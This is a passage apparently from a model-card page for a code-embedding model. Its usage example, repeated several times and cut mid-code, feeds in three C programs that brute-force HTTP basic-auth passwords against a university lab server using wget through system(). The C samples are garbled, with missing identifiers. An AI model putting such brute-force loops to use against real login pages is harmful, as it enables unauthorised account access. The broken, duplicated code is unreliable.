\n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} 